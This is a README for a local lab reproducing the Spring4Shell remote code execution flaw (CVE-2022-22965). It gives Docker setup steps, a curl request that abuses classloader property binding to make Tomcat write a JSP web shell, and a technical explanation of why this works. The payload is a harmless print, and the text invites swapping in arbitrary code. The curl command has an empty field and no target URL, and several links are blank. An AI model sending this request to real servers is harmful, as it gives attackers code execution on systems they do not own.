# CVE-2022-22965 PoC

Minimal example of how to reproduce CVE-2022-22965 Spring RCE.

## Run using docker compose

1. Build the application using Docker compose
    docker-compose up --build
2. To test the app browse to [http://localhost:8080/handling-form-submission-complete/greeting](http://localhost:8080/handling-form-submission-complete/greeting)
3. Run the exploit
4. The exploit is going to create `rce.jsp` file in  `webapps/handling-form-submission-complete` on the web server.
5.  Use the exploit
Browse to [http://localhost:8080/handling-form-submission-complete/rce.jsp](http://localhost:8080/handling-form-submission-complete/rce.jsp)

## Alternative way (debug oriented)

1. Run the Tomcat server in docker
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    _Add `-p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"` if you want to debug remotely._
2. Build the project
    ./mvnw install
3. Deploy the app
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4. Write the exploit
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F '' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
    The exploit is going to create `rce.jsp` file in  `webapps/handling-form-submission-complete` on the web server.

5. Use the exploit
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    Now you'll see `123` in the container's terminal. Replace `System.out.println(123)` with your payload to execute arbitrary code.

## Short technical explanation

1. Spring knows how to bind form fields to Java object. In our example `GreetingController` handle POST requests on `/greeting` endpoint and binds form fields to the `Greeting` object.
2. It also supports binding of nested fields (e.g. ``). See the [AbstractNestablePropertyAccessor]( for references.
3. In our example `Greeting` class has two fields `id` and `content`, but actually it also has a reference to the Class object. We can use `class.module.classLoader` as a form data key to access the classloader.
4. In the [fix]( we can see that the main change was to restrict access to most of the Class object properties, including the `module` one.
5. This behaviour allows us to set public properties of classes accessible via nested reference chain from the `Greeting` class. Nothing else. In most of the cases it is not even dangerous because no classes with public fields are available even from `class.module.classLoader.`.
6. It becomes a problem on the Tomcat server because the classloader there has [`getResources` accessor]( which allows us to continue the reference chain and access one of the instances of [the `AccessLogValve` class](
7. This class is meant to write logs. We change some properties to make it write files with the name and content of our choice. We have arbitrary file write at this point.
8. We create `jsp` file with in the root of the application folder with the malicious payload. As far as `jsp` are automatically executed by the Tomcat we can navigate to it in the browser and eventually execute the payload. Now it is RCE.

## Conditions

The exploit works only on Tomcat because it has special classloader. Although the similar reference chain may exist on other web application servers as well. It is not simply discovered yet.

The exploit requires Java 9 or above because `module` property was added in Java 9.

## References

- The server part is based on the step-by-step manual.
- The exploit part is based on script.
- Snyk advisory about the vulnerability is available here: